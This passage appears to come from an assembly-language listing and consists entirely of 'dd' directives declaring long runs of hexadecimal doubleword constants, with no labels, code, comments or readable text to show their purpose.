0AB13540h, 0C4788418h, 381AC09Bh, 553D7A22h, 0A86127E9h dd 9D02EFFFh, 0DF3FAD16h, 66F1D5E2h, 6490DD25h, 0D4B7B79Ah dd 0DB5D5AFDh, 0BB5300BBh, 61021091h, 0EF0083BCh, 8BE99EFDh dd 4A119275h, 91D2AAC7h, 44A0F707h, 15382FCBh, 92D41960h dd 2B30C25Dh, 803BD829h, 0E333632Dh, 2F4BE97Dh, 4380DCC5h dd 50F638C2h, 988AF6DAh, 35B50E9Bh, 32D2EB08h, 8021026Eh dd 0B02FBAC3h, 295F6E5h, 206C671h, 0BB68C8FEh, 4AED28DFh dd 0E0E91320h, 5653C347h, 0FF70B872h, 0D2173551h, 402AE6E4h dd 575B5056h, 89A444EBh, 0DFB5EEE3h, 3E60E135h, 932DDFDEh dd 3AAAE1B1h, 135E32E0h, 539F3BA1h, 0D7F0100Eh, 0A5C72192h dd 60E23A99h, 1D735D78h, 544CD14Ch, 6F42DB0Bh, 630E7EF0h dd 0C073E43Dh, 647F30E5h, 90E91918h, 7BFB338Fh, 242D65DCh dd 21A2E94h, 4CA96291h, 60815E75h, 0FE1A03F2h, 7FE9682Fh dd 0BF5C1A85h, 97FBEA6h, 77150BDDh, 273B46D5h, 8E5E5EF2h dd 7ABC6861h, 0DABF332Fh, 4E553948h, 9DF54EA8h, 79E16A64h dd 97BEB63Eh, 0E12DE6B2h, 68EF05D1h, 0ECF6279Fh, 0E933304Bh dd 0DD3B4B4Dh, 7291ED86h, 8DE94051h, 6FC39DCAh, 0F04F3528h dd 0EEB32677h, 0F1BD126Ch, 6331EB5Eh, 43033EB0h, 7271BAB1h dd 878612B5h, 0C032275Ah, 2F0F08D0h, 9CF55363h, 0B4A8C491h dd 2E7882D4h, 41A47354h, 5811FE25h, 73622599h, 33E12Ch dd 0E831DD87h, 8DFC5E4h, 7C9D8C49h, 0F30B6BC5h, 0D43242C2h dd 6D4B03F8h, 1005F070h, 0DFBC18FEh, 0E95F3150h, 0C865032Dh dd 0BE9A4485h, 3745622Bh, 4107A6DFh, 0F229270Dh, 0ADE93B60h dd 2C7A26Bh, 0F40859C8h, 11786EBCh, 6817DDF7h, 3ACC0480h dd 5B3C13E1h, 0A3FC121h, 4E407DCDh, 0C7B357EAh, 0A1F1A951h dd 0F699D362h, 0D8A24C4Ch, 25B11C02h, 5151F768h, 0E2571264h dd 2A5C316h, 0B0BFDB16h, 0B06F1767h, 5FC85D3Bh, 4A661E0Eh dd 5E2C123h, 2A75CDE9h, 39CFC841h, 0CB2010B6h, 38711259h dd 0CCB5E12Ah, 1708C41Eh, 0A42815E9h, 2DF70818h, 100A0A2Ch dd 29C0840Ah, 0B2796927h, 37630FC9h, 0F568E944h, 57A75630h dd 30427B2Dh, 0BE168EA6h, 977A5FE3h, 254D83B7h, 66540907h dd 0DB13285Bh, 6B3233E1h, 904A69A2h, 730DCA4Ch, 0E97EE404h dd 80E890F4h, 2ED85DC9h, 7671B800h, 3E2D4554h, 81105E30h dd 6FC7FD8Bh, 368948FCh, 0B65785ABh, 0FCF4BFDFh, 90FA3865h dd 6ABEF517h, 6730072Ch, 77522307h, 1EBB007Bh, 903B8C3Eh dd 987002E5h, 0B4E9A949h, 94913D1h, 5EC957B7h, 0ACE0506Fh dd 9E2F6866h, 0B732A057h, 0E0A52CAEh, 0F90474F8h, 9869B87Eh dd 44B4A80h, 0DDE9169Bh, 0CC98FA60h, 0E477B072h, 0E04D3D2h dd 0CA600C80h, 6E92E9B9h, 0ACBADF95h, 9E7D955h, 0F7F60B87h dd 0C109C6Ah, 576BBE05h, 509873Dh, 0E931EF31h, 0C0D6EB80h dd 0E7284B9Eh, 0ECC110BAh, 345B3968h, 0DA3ED4B3h, 0FEB5F281h dd 42B050C2h, 8B7FE2D6h, 6F671841h, 31A2FA7h, 6538B170h dd 61EE5E96h, 6B3BF767h, 264A8336h, 0CB334039h, 2DDE2A22h dd 266F47DEh, 0B572D961h, 805C6F70h, 0CE8809AFh, 0BEB98459h dd 0E35A5DA2h, 0E5F7EA9h, 95EC401h, 0E07F5DEFh, 770BC79Fh dd 76633140h, 46F725CFh, 4BC9F42Ch, 0A17DBC86h, 307A4668h dd 0FECDB670h, 0F604CE61h, 17CD80DEh, 0B5AEC6CCh, 1F7A17D0h dd 8ED5F725h, 2895A0CFh, 0F1A0E9FEh, 0AA577492h, 5FC9F8A3h dd 0FA46DF9h, 0E23C0C02h, 0B1D4C020h, 0C3794A1Eh, 0BCDCC18Eh dd 31231F0Bh, 0D72939C3h, 0ED405A5Ah, 552574BFh, 0A6C0FB4Ch dd 0BB81134Ah, 12A5E867h, 522624F8h, 82F724BDh, 10FA685Fh dd 2B907E66h, 0E50E1B0Bh, 30A77E46h, 0DF80AB70h, 0C829D805h dd 0CBEA8959h, 55FC4F17h, 27676409h, 22D564FFh, 0E50BB36Ah dd 0DF317F36h, 586DFA00h, 0C5F84B71h, 6CC19250h, 6F2931FDh dd 970DFAB0h, 6857830Bh, 805153C6h, 60266859h, 25C0CF7Ch dd 131D1E01h, 459EFFE9h, 9270D449h, 6750EBB8h, 1E285D4Eh dd 89F79654h, 54745AA5h, 8B030892h, 97010469h, 0A883D095h dd 8DBBCC1Dh, 0FB21E54Fh, 63EEDF02h, 80ED7208h, 877C7BC6h dd 0E3C1284Bh, 0EC306E3h, 0C1C5167h, 3A6E8305h, 44814B09h dd 63FEB5BAh, 4B8CCBFCh, 63F5044Eh, 15C2168Bh, 8994F350h dd 0BED0FBE9h, 0AAC4C5BDh, 0D45E9D9Ch, 0B5286158h, 6DF47CCCh dd 55300D4Eh, 5C0E5329h, 0C6100F20h, 785D589Eh, 979DC497h dd 7B52CFD1h, 103224A4h, 0C38606AFh, 9008D0F6h, 78EF7E52h dd 0CFEB95ABh, 7C54A827h, 9AE9C152h, 0C2A59F91h, 5BA2D6A7h dd 5135EFE0h, 0D2C2135Fh, 750889EAh, 0D02101B0h, 5433F4B5h dd 5735E913h, 79C6F8A8h, 0C602270Ah, 0A6EAE04Fh, 4A72E021h dd 4772C142h, 3BCAD5C5h, 0FD0D0D80h, 2E970C14h, 0E96CF750h dd 0FCB47A5Bh, 305A0BF5h, 0E58459ECh, 6F49A11Ch, 9EC29D67h dd 6CF457B4h, 0C2C07769h, 5A04D131h, 9834E95Bh, 0D6FCFCAh dd 0B801CBC5h, 0BC75C413h, 0F5EA2807h, 69F0BC45h, 13CD9C1Fh dd 0B46180E9h, 50B23019h, 172FB53Ch, 78155FB4h, 0AB592556h dd 2841DB7Eh, 0A45E4EECh, 0AB148816h, 0C2C3B784h, 0FE2EE95Ah dd 9FD523D6h, 52945256h, 6C6018Ch, 0F55AF130h, 2CC8C009h dd 0D0B159E8h, 8DE07425h, 2E916221h, 0F2EF6C85h, 732F7FBCh dd 0A62E4692h, 82297650h, 17D098F7h, 6675824Fh, 0BF0F152Dh dd 6D92D3C8h, 25292EFAh, 97EE6A8Bh, 0CAD7F329h, 0AC5F0EB3h dd 555291Bh, 5C773668h, 8024740Ah, 540DEAAAh, 5AA8384Eh dd 15014483h, 0F45589B2h, 709BC253h, 0E0D5E3A9h, 1CED73AEh dd 85FB8747h, 0FFD1F7CFh, 9F3151C8h, 745B01C9h, 4DFE3907h dd 0AFBC4EE4h, 3352681Fh, 0B80B6EB3h, 8757534Dh, 0E6EE23BDh dd 909D451Ah, 41C70976h, 9F0073E7h, 21B9352Eh, 46DE897h dd 34D52291h, 4FFC0E20h, 0E3CCA85Fh, 91215B9Eh, 9D2AECA8h dd 0FE670D95h, 595B58FFh, 59495099h, 10FFAF57h, 9211E9BAh dd 5968E658h, 67931930h, 0FFCD95E1h, 102B9107h, 0EA2952D1h dd 80B95E3h, 854A045Dh, 74172DCBh, 0FAC9AABEh, 40B50120h dd 2EFEBD3Dh, 0DE1C0F27h, 37C31E0Ah, 0FFD899DFh, 4B77519Dh dd 0B880CD4Eh, 0C7094762h, 5DEEC106h, 0E1C6B5E0h, 28CC291Eh dd 0F3BCE6DFh, 2111B20Ch, 7841E04h, 0E9FBFEEFh, 306DAD3Ch dd 1BBFAF11h, 4DC3C1DFh, 3E5DCB8Ch, 5352DF9Fh, 52D41712h dd 0BE9673A6h, 3168EC38h, 65B33F9h, 2EFE2AD4h, 0F4E909CEh dd 8D9AD95Ch, 0F93F80D5h, 0D82DA76Dh, 6ABF05FEh, 0BE2127D8h dd 76DE6B0Fh, 0E0CCEB90h, 29902F01h, 0A5A0F0F6h, 65C520Ah dd 0EE81A258h, 61654208h, 0DB36A850h, 9DE97869h, 68F09077h dd 0B6224B2Bh, 7D572DACh, 6852D3B0h, 187D6627h, 0E19BF41h dd 0E9428206h, 68D147B7h, 370BECC8h, 1145184Eh, 60B0B7Fh dd 4B797096h, 8B17ABBDh, 83B9FACh, 0B91F9DFh, 64715FE9h dd 0B2AAF01Ch, 9DF4FC72h dd 0FBA404C3h, 0A3AAED85h, 0DA542BC5h, 89086324h, 0F85E160Dh dd 507A646h, 707B9605h, 0B4BC1648h, 0AEA201BEh, 33E9B101h dd 91EC3FE8h, 4096F685h, 661BE2F1h, 0F2EC7DA8h, 6EBD0D7Fh dd 0CE91817h, 68503E7Ah, 712F897Eh, 976F332h, 0BE4A28D8h dd 1B338957h, 0C771F9CBh, 0D125343Eh, 81996BD1h, 7029C585h dd 4FED1EFBh, 59A5903Ah, 5170EB80h, 92EB60BAh, 9FA98310h dd 440DBF02h, 0D54DDBh, 24BBF86Eh, 0AFE919B2h, 3E0B817Fh dd 9A479BA9h, 87E98D62h, 0B80557D0h, 18A30F7Fh, 82C2D8BBh dd 7A1488E6h, 9223D809h, 0ABB513AEh, 0B9BA71D0h, 19D32532h dd 712D91DEh, 0EC5D2748h, 137F91A7h, 5C1882AAh, 0DC978972h dd 58E7040Dh, 22A838Ah, 84E7CCBh, 5919D9A6h, 0A8DC4730h dd 0CF7AD667h, 9678E13Dh, 0B1A98408h, 0CCBE672h, 7E3C0F9h dd 28484412h, 0DB532F0Eh, 8C0E966Eh, 0FE1D5194h, 530066C4h dd 0D2E944B3h, 0FDBB7FAh, 0C1A1926Bh, 0B05C610h, 8F705209h dd 0FA382C2Fh, 0FF855F9Eh, 0BCAC541Dh, 0F8495B58h, 760C953Ah dd 5A5FF006h, 5E4AB882h, 0C3884EA8h, 0C5209528h, 0BE68168Ah dd 0C2C9ED5Dh, 0DC6ACCE9h, 0B2F382D2h, 40FDB836h, 0C32089Ch dd 0D989E71Ch, 0EA2FE95Dh, 444753F0h, 5E604433h, 89E97AD5h dd 1B891127h, 55611ED5h, 0A9228CA5h, 0A9A47C12h, 92DC266Fh dd 5BAC5D93h, 0A5F10A8Ah, 81E7605Fh, 8182824Ah, 0E07D78A9h dd 0D74DE3CCh, 1FCF216h, 3189F901h, 567C5E59h, 66C170D5h dd 824D9D3Bh, 220AA3E2h, 0E12DE055h, 8192570h, 723FEC60h dd 0EF620FBCh, 17D07557h, 695C88AAh, 0A1CEF552h, 2D10989Fh dd 3D0A1C6Fh, 5F04A01h, 575E0C07h, 4317F428h, 5C40281Bh dd 474F8FE6h, 0B05B009h, 6EFF1115h, 121D1107h, 227F7043h dd 25C53D8h, 407D60B2h, 419EAA4h, 0D048B551h, 0DDA7C2E5h dd 7F6B7D56h, 0EA009814h, 2D65231Eh, 1557C201h, 0CB730FE9h dd 374EB74Ch, 403DFF65h, 0E97CCB4Bh, 0D9B5032Ch, 0FFCBBC82h dd 50C6E410h, 0C7BF2840h, 0F8193F48h, 0D95864B8h, 5A3D24FCh dd 5A50DCB7h, 405AE85Ch, 242B38FDh, 36962DAh, 2C064FE1h dd 0DB130C7Eh, 6FAC36D3h, 588EF64Ah, 394604B5h, 0C4AB15F3h dd 0E93670E3h, 289AD2F5h, 68E6F205h, 95E24114h, 61B05001h dd 7E1F27E9h, 0CAEFEF89h, 4668F72Eh, 0D4914926h, 10F8A08h dd 100E95BBh, 2EFEE963h, 1CBD31E4h, 0BD2F4B61h, 996F4BFAh dd 3C12E91Ch, 1AB94EBDh, 3CF6EEF4h, 671D5D96h, 0E2BC99D5h dd 317D793Ch, 0B9B96495h, 900105E6h, 8165E7Eh, 19D40C82h dd 0B3C97DD6h, 6C06A48h, 3A7E1B25h, 738036B8h, 2D478230h dd 0FD2D0F04h, 2C007521h, 6E3863C7h, 0EF034C76h, 74BA59FCh dd 801CB629h, 6494E908h, 0F8B9861Eh, 0EACD8FCFh, 2013B658h dd 291F65B6h, 0CD5B15DFh, 535FA04Ah, 64A5E49Dh, 0AFEAC96Fh dd 0CA551B1h, 765D0A7Dh, 75136E2Ch, 68CB97EDh, 0FA30180Bh dd 5EB54840h, 0D15DD21Dh, 0B1E483Ah, 0C45DC019h, 0A5A997D3h dd 0A2B745D7h, 0A6205FCCh, 5B7D136Fh, 2CA555BCh, 0D6925F5Bh dd 0D8935B2Ch, 0D8F70303h, 86D7E953h, 0AC688680h, 584B7A21h dd 0BE0B2D38h, 6E917A0h, 0BE3D35FBh, 6F919400h, 17892F86h dd 84DFE9CFh, 0FF9257FCh, 0CD34E8Ah, 0D3FF6084h, 20F84A4Ch dd 0EDBD05ABh, 0EF613373h, 0B5ABD184h, 7750CA3Dh, 50CDDCB7h dd 3ED2477Ch, 0BB4BDF8Bh, 6820C839h, 0FB674B16h, 0D7586AC8h dd 899C2C49h, 38EEE24Fh, 0C424E999h, 568A9937h, 2EC5D24Eh dd 588D2A10h, 5A247A21h, 0CB93556Ah, 40AA4C12h, 0FB0159F1h dd 0E80FBA52h, 0E00E7673h, 483BE7CAh, 0C2832E4Ah, 11B00C9Dh dd 0C3EC463Eh, 0DA9DD04Fh, 0BFF536ECh, 0F5A78151h, 4190F796h dd 407A20h, 1CD21635h, 264C68D0h, 1920FA92h, 0A7529FCCh dd 1FC8F53Fh, 8D921720h, 8735D981h, 0F460B6D4h, 2F1D9CBFh dd 0E9F00954h, 2F32B4C2h, 5CEC2975h, 2807A43h, 3791779Eh dd 0E731E92Eh, 0D7F75F84h, 8B97A6C4h, 1033DC79h, 0A0BD01FEh dd 81433339h, 62412F3Ch, 245A807Fh, 6A0EDC49h, 7BF5095Eh dd 0D3CFDBD8h, 0E3C1B07Ah, 5BF92D74h, 1D95D3E3h, 0B44CC908h dd 9148B67Fh, 0C14928A9h, 16DEB99Bh, 0EAD642B1h, 0B573465Dh dd 0D0139EFBh, 0C8873E87h, 0D892B874h, 2945405Ah, 6AFA2469h dd 52F703ABh, 0E7B006AFh, 57306ED6h, 0EAEC1830h, 80D44E51h dd 61EDE944h, 31ADC69Fh, 510E54A6h, 0AB80CA50h, 21F13EC7h dd 0DCC4F5B8h, 1A8D869Dh, 912B30E1h, 63704D68h, 67814AF5h dd 0E0DEDB3Fh, 0EE40A03Dh, 16A1BD4Bh, 20462138h, 3302C638h dd 89EB7AFEh, 6664FFF2h, 3B986AA0h, 0AC11D23Dh, 518E826Dh dd 4E8CE654h, 0EE294876h, 4458E84h, 0F8AAD2F6h, 686F09A3h dd 0F0D24684h, 6034BC12h, 0E9A2B151h, 24096A4Ah, 4558745Ch dd 275CEC88h, 0CFC9EE28h, 9EEA5907h, 6D7C2FC1h, 2A26172h dd 0D2C86E09h, 0EF3025F6h, 0C309D88Bh, 57A4275h, 65D57AE9h dd 1A102DF8h, 0D2680A35h, 509E5B61h, 0A07D546Dh, 8005FF86h dd 0E0C0AA2Bh, 72FE063Ah, 0D0F6C800h, 0C1289734h, 889F2DE9h dd 0D8E9D0D6h, 16FE4F1Eh, 0BA6ED84Bh, 66BA4C5Eh, 0B227830Dh dd 339A41E8h, 400EEAC1h, 5E81BCCAh, 0E3566296h, 0E6558F58h dd 272AF272h, 94D5295Dh, 13C3F6F0h, 0B9B493E9h, 7E8985F8h dd 6D6CFA9h, 6F0DB4A4h, 5C2ABE09h, 3C85FFA9h, 73F18229h dd 390060DDh, 0CD80806Bh, 0C5252873h, 4502FD17h, 0AE542AEDh dd 0CAE95D0Fh, 2D839D92h, 0D1105211h, 3F8E75E1h, 0E66474CEh dd 0DE2887CFh, 759521Eh, 85F788A0h, 0BE7E9595h, 0EB00A0CEh dd 52C57061h, 8898F301h, 58FA0882h, 7E065A27h, 2AFB7B41h dd 66C1ED4Eh, 0AB80591Dh, 16741BDBh, 58545F50h, 55B03108h dd 39355558h, 5FD26C7h, 5F2F380Bh, 3359E632h, 2CED5669h dd 0E6589249h, 0A9E98499h, 0F1D2D5ABh, 26A96BCDh, 50E85AA2h dd 0D00E0D1h, 455E493Dh, 2EEB7B2Dh, 2BC577Eh, 25B802CAh dd 8A81C0Fh, 9259EB6h, 0FC0CABB7h, 1052D20Dh, 4C32E918h dd 12C1B9D1h, 0EB5BBD58h, 1A41E0A0h, 1904F181h, 903708FFh dd 57217912h, 0E8729DFCh, 49270894h, 0AC9141EEh, 441D440Bh dd 6263BC14h, 0D3D7E111h, 872A4D8h, 5307CC95h, 0DD006CB3h dd 0C7EB285Bh, 9229A8Eh, 9D3DC6F5h, 0DA6683D7h, 0B8BB845Dh dd 0DC5AB34Fh, 0CE148714h, 0F16E86Ch, 0F838358Ch, 94C54E65h dd 93ADA2EFh, 1478E90Ch, 28DE0AB0h, 9C266C7h, 0F62BCEB1h dd 0C4203672h, 0D0F8BD59h, 756C8125h, 1055AD12h, 977A42DBh dd 0DCFDA7A0h, 31609451h, 7F78E235h, 0D52B50BFh, 6452888h dd 4D681D1h, 4C7B26Ah, 3BD684E2h, 9018782h, 6F5E810Dh dd 0C680D880h, 4671E7C3h, 0E172ADE8h, 9672B93Ah, 5F73A800h dd 45036D3h, 0D97F83B8h, 0B005BA27h, 4EADAF7h, 0F88778A4h dd 0C6D70556h, 0D9B0C16Dh, 0F7E91656h, 1CC9B4C0h, 0EAE41341h dd 0C2800708h, 0EED188CEh, 0D13CF69h, 9374EFA2h, 206EF482h dd 67E7C0AAh, 31452613h, 825F1288h, 0B89C301h, 0C00893D1h dd 0D1B2098Ch, 0D09CE1C8h, 9972E267h, 685AD700h, 0B3404EFAh dd 1CC6104Dh, 0DB13533Fh, 0B2CABC0Ah, 2BB9775Bh, 53D2745Dh dd 0E24EE927h, 0F51E7500h, 98FE5B4Bh, 0AADE8AB2h, 9EE96853h dd 0D471615Ah, 0BDB33EBFh, 0B193710h, 0D9482668h, 408C80FCh dd 0CB816EDDh, 0CE263F7Ah dd 0BC0FA556h, 0F05E4928h, 0A1CC1DA0h, 0B2F52DDFh, 6B0A8098h dd 7C07EEC0h, 323E5A68h, 8240D9E3h, 27B16A17h, 0D7370124h dd 4A71A55Fh, 83F03ADh, 0DD095EA5h, 0E42AB6E1h, 3496E18Ah dd 7DB13A7Ah, 0A8689FB0h, 66C8F4B2h, 0D5F62744h, 76292403h dd 2120E177h, 30494101h, 3825704h, 2464C8h, 1343B8B3h dd 0A12501BCh, 38903C0Eh, 0C2086505h, 274536F0h, 0B1436E17h dd 0EC8EFF94h, 22E7D11Bh, 802F382h, 80F540C7h, 56DF947Eh dd 8840C526h, 0AB82D752h, 0DB87228h, 680056F3h, 2BCF3037h dd 0E186B0E9h, 6561FA2Ah, 0B23E0725h, 20A06588h, 0C130CDF1h dd 90979895h, 2ADE58B6h, 21E9F004h, 0C14DD1D5h, 9FD941EEh dd 63BB00CAh, 30343250h, 0F620A394h, 62D946A9h, 43195E36h dd 685CE698h, 66648525h, 20F50F30h, 0F90B08ABh, 53905D9Ch dd 4E74FE25h, 685725B7h, 0D2139A7Dh, 12264ABCh, 0B32DAB3Ah dd 0D14FAD01h, 6415C182h, 84400ACEh, 63062A7h, 58860C04h dd 491D4C59h, 57349B20h, 0ACBA6654h, 4B68A046h, 43C59746h dd 55EFE2AFh, 3C07AF6h, 0CB075D08h, 5605FB44h, 0B008A845h dd 24E34486h, 17A35703h, 688342B2h, 3794482Ah, 51E5E916h dd 0C19D29BFh, 24F06376h, 0C7828A46h, 0F75EFAB9h, 5756F602h dd 22AE700Bh, 9B98A6DDh, 5D1A14B9h, 69B64120h, 3C69B16Fh dd 32E93C11h, 0E13032E2h, 0E62B88DEh, 0E72F7B2Ah, 44B8DC66h dd 0BFCDA077h, 0B94B810Ch, 139C5443h, 0BA444C7Fh, 0BCFBB6A4h dd 4FE2D6Eh, 0D97802D1h, 1C82BA02h, 8DC478C5h, 3C295A15h dd 2A0E41B9h, 0D9879BD5h, 8B366CA5h, 0C864A257h, 120BBB08h dd 0B86CD10Dh, 6A6560D0h, 9D634442h, 0A8A5E58Fh, 0A91CFCD3h dd 0D7D03A41h, 0EEC2BB04h, 4336E189h, 60A3F16Bh, 12100143h dd 12480D94h, 0E0F9D77Dh, 611743F9h, 50EB27B7h, 0FD20D106h dd 1409BD02h, 5D453356h, 0ED40DD7Ch, 98674B2h, 1B896812h dd 40F3FFB0h, 0D4972FE2h, 7071621h, 612331DEh, 0E0D2F776h dd 5E4E5A56h, 0C3F2E8A0h, 0EA3102F0h, 16108194h, 0F3B300BEh dd 62CB0C80h, 610AEBD0h, 67BC075h, 8858C37Ch, 0FA30181Eh dd 5E53E9BBh, 6232BE92h, 7F2C2B1h, 23C80E5h, 2FC2940Ch dd 7D26A576h, 9E01C039h, 206303E4h, 9EF4FBFh, 52480AF8h dd 2DA12CA3h, 2DFF0993h, 44224058h, 0ECBC2274h, 0F43BD001h dd 0CB3A01AEh, 51680B98h, 2631464Ah, 7BF54445h, 0A7AE35F1h dd 0A3F0C1Ch, 8F769FBFh, 90B4412Ch, 0E9C290F2h, 4446772Fh dd 0B1CB5FDEh, 6C45D5FEh, 85997FC9h, 2DFDFE68h, 0A86F4A0Fh dd 0F659B266h, 0E52A0908h, 562F47E4h, 8907FC5Dh, 1AAD6D1h dd 200F2CE8h, 7670991h, 88774F2Ch, 9F210747h, 92FA0163h dd 0C5C7F40Ah, 68A14054h, 30FD7521h, 0D3F35A4Ah, 0FC872A13h dd 4A1C326h, 4146B2FDh, 936BC10Fh, 604DE1Bh, 0C5FE586Ch dd 2D6839E0h, 88466B1Bh, 50660D01h, 0C23058B0h, 0CABCC06Fh dd 6690C0EBh, 7AEAF6B2h, 605887BDh, 0E8EADA04h, 0DC20A21Fh dd 453923Fh, 126DD233h, 5894220Bh, 0B82AEDAFh, 0FDE9B09Bh dd 90F99F33h, 0D9426D89h, 0E3CACF21h, 0DEEE479Fh, 833AF641h dd 0DEC8412Eh, 0FE89017Bh, 18207ABCh, 0BEB4D190h, 7F667D69h dd 9475B3AAh, 685F1CCFh, 0EA4EF8EDh, 0A052188Fh, 12D6978Ah dd 3D39BA31h, 0BF41E020h, 81B56CF0h, 2AB3E9DBh, 553A8F56h dd 0DAF83701h, 0C7F697E4h, 0EFB5D8Dh, 0D11B882Fh, 10B3DB52h dd 0EA4A0FA7h, 83EFD012h, 0FE8F5E31h, 0F771BFC9h, 4B76C0A7h dd 26CB2F49h, 0A75A747Eh, 6340282Fh, 34EE830Ch, 0C0094E01h dd 0C2A56A8Dh, 2CEBBB4Fh, 6A2968CDh, 8DAA8315h, 530D4001h dd 304CE921h, 0EED3C378h, 7831C993h, 8FF41DDh, 0F4E7BFD3h dd 0D7956A7Fh, 73D139A0h, 0E5BF525Fh, 5F5AA5C7h, 6BD947A1h dd 0F3B9F116h, 7FA602C8h, 0AA897D25h, 7E1389F7h, 74460B10h dd 96A1C45Dh, 0B35272F5h, 4E13975Bh, 0FD3580Bh, 526B495Ah dd 95D61209h, 555A4142h, 6A77C103h, 80465E5h, 0E53012FFh dd 8AD0519h, 5913EF02h, 0D9821BA0h, 2FC71053h, 0FC2577F1h dd 0EB1B9D70h, 0FF5E8433h, 8F660E43h, 3B2CC102h, 0F3969A32h dd 0DA1D13ECh, 2E1C4047h, 0A0B9FD0Bh, 5CF7805Eh, 0B5E9C209h dd 393A9A3Ch, 99DCECEFh, 0FEA50C60h, 0E9F6D0CFh, 0A974952Dh dd 8E0C7D05h, 3E128E63h, 0DE0D5CA9h, 0D4536FCAh, 69ACC955h dd 47C4DBAFh, 3AF76AF6h, 5F9B768Ch, 0E49BA45Fh, 0F71D4C6Bh dd 0A8979F8Eh, 629BC4A6h, 0FA535005h, 0F2C35561h, 0E7F53994h dd 0A7073F84h, 9C44CA7h, 56F986C2h, 0CC71869h, 6E16F180h dd 0EAC51EE9h, 575328BAh, 7F786801h, 9EE91A89h, 0ADB2092Fh dd 6C5D0880h, 0F7EC0EA6h, 7AF6144Eh, 535624h, 77887460h dd 440526BEh, 0FE872E92h, 973A3BF0h, 3A01D861h, 0E4924BE3h dd 554BB568h, 0BEC199FCh, 7F308C79h, 827C97D1h, 34685600h dd 6D166A2Eh, 0CE814600h, 48317901h, 0FA01FB7Bh, 50F30CC7h dd 2BA3D5E9h, 0CC6231FBh, 0EAF97FD0h, 4B7EB892h, 0C1E82CBCh dd 0C212B984h, 0CC947AD1h, 0F75D4AC0h, 74E9BE8Fh, 2025B7BDh dd 0B14BBA2Dh, 4179595Ah, 0E568F001h, 0C0292C0Dh, 1C164074h dd 0C0B45AE9h, 43F4BAFBh, 5602CF2Fh, 0E44E1630h, 670BF1EEh dd 7D1E3750h, 0EA404102h, 0AD05F9F5h, 0DE2A15FCh, 0DA99B42Eh dd 24DED99Dh, 70E4A2A7h, 0E72C033Ch, 0D342C992h, 0B1427751h dd 0FFDC75D5h, 0C2885287h, 2742D726h, 0B6A28B21h, 699259EEh dd 0BAFED075h, 0F769D95h, 0D9095717h, 770D1A93h, 8154CFD8h dd 0EEC8E890h, 38EA81E5h, 0F7682349h, 9659763Ah, 912D286Bh dd 58E5A348h, 5CC3ED2Ch, 49FD0A68h, 0DC605018h, 51B4F4D7h dd 8487F1A5h, 0F07D2A4Bh, 8AF27CC2h, 52E9154Eh, 5717B13Eh dd 0DCF81Fh, 2910DC42h, 4A0268DEh, 20E63450h, 7F1AE90Fh dd 0F08C4495h, 16EBE27h, 675CAEB8h, 4544E868h, 663AE4A8h dd 7962D82Fh, 624525FDh, 3E90CB0h, 0BEBABF41h, 45416D7Ch dd 5660A365h, 22E910FEh, 632A7569h, 0C504B038h, 9AB2A714h dd 0E7D7A1EEh, 428623E8h, 97BE5601h, 214C264Eh, 735F03Ah dd 30BED15Fh, 6DC781ADh, 0F516279h, 50561D2h, 13130908h dd 0B85091A0h, 35067160h, 49DB051Eh, 0E12D1FA0h, 938C23Fh dd 0B59158C3h, 0D00AC07Ch, 0E956189Dh, 0F65E593Bh, 86F8D02h dd 0E0805D04h, 279C53ECh, 7B04214Eh, 0F81365F9h, 17FA4A2Ah dd 4A548BAEh, 0A0E304BAh, 9023B3AAh, 989D3DA4h, 0A1EC29D5h dd 49632E20h, 7DD80007h, 0FA317B78h, 3B4FA7B8h, 371318A6h dd 8D34BE2Dh, 4CA6A9BBh, 4F629C7Eh, 0F117EC5Eh, 57B28E9h dd 0FB595328h, 962E1F0h, 5832C926h, 3C2AA90Fh, 0C675C91Ch dd 376A3526h, 0F79BBF44h, 7F49D92Dh, 492B5Dh, 93B1140Ch dd 41E985F7h, 0E1428D4Fh, 0FD47854h, 5EFEDCF6h, 1227E04Dh dd 8096F32Ch, 4520ED1Eh, 5AD01B58h, 0CF286680h, 0D0524859h dd 13D50634h, 81A05B3h, 9A90853h, 51983328h, 9D005CA2h dd 35AF5B7Ah, 1C41DBEFh, 141CA008h, 0A178E916h, 3F4DD9FBh dd 0C4C476E2h, 0D71CADABh, 5F389182h, 0BE62BC54h, 20C65736h dd 65F5FE25h, 94D5272Eh, 26809734h, 0E96C5F48h, 4842BB27h dd 48F420F2h, 49009812h, 2538B431h, 6A0E5535h, 60CC0553h dd 0D4E914E0h, 0DCE69551h, 0B60E60E7h, 0ED2D4476h, 25E4D491h dd 1682071Ah, 8E4AC5BCh dd 92344290h, 0B4847582h, 0A7FC80EFh, 5F7FD45Dh, 0F1842BFDh dd 0BB58FBFh, 0DB539768h, 0E9510F72h, 2E5A456Bh, 0B118F908h dd 0DBC1A02h, 6DAEE0F7h, 2EC695AFh, 79DBF72Fh, 0E87E6B7Dh dd 4E285E50h, 5BBAB9A9h, 42ECA881h, 85A1BC7Eh, 30EF4668h dd 0BC1BDDBh, 0ECFACF98h, 66457A01h, 5DEE315Eh, 75DAF0CDh dd 0FD0C6C5Ch, 27684AB1h, 34F94AE3h, 646AEE82h, 0CEF84037h dd 22FA47Bh, 3CD71B0Fh, 0D07DEF31h, 0C7F4804Fh, 8B1E5019h dd 8A634EB7h, 9EE21CCh, 0FD7E8DE9h, 838E5C12h, 0ADC9B05Fh dd 3041E74Bh, 0EA97007h, 18F00C82h, 0F05472A0h, 5F6F6807h dd 0B0DBDD09h, 0FFC38189h, 6B0CC22Dh, 74137FB2h, 4F89FF9Ch dd 2C33C34h, 68412F01h, 19710F22h, 0BFB8C892h, 59CB01C2h dd 0FAD8B3FFh, 7C840941h, 53AA1235h, 0CD1FB07h, 0D182F9CEh dd 34C9F4C5h, 0B06C00FFh, 9C667504h, 5F08A0BEh, 8CC4D85Dh dd 406D485Dh, 25183F83h, 690C7CD5h, 0A4C2731h, 80D684Ah dd 5D14020Ch, 0CBC1595Dh, 110CE5D9h, 9DD06D6Fh, 0AB52AC05h dd 0E9B073F2h, 1C9AEB1Bh, 88685B0Ah, 0B360CA1Eh, 13C3FED7h dd 209BA8E9h, 365EF9D2h, 49F6248h, 5DCF5C27h, 5329214h dd 0C4A06686h, 28A6EC80h, 0C475F475h, 8569EE9Eh, 0E840D7C0h dd 0A21CE81h, 10D5E39h, 0FBAFB435h, 2842619Fh, 0C7FE025Ch dd 5F21EF80h, 83009DDEh, 0E996B252h, 8C6EEBC6h, 594F6369h dd 87FE44BAh, 2498FF5Ah, 99A49FABh, 6A96BEC1h, 767A970Ch dd 0F9015B18h, 1E2FBA12h, 6F8B4506h, 9F56A7FCh, 3704822h dd 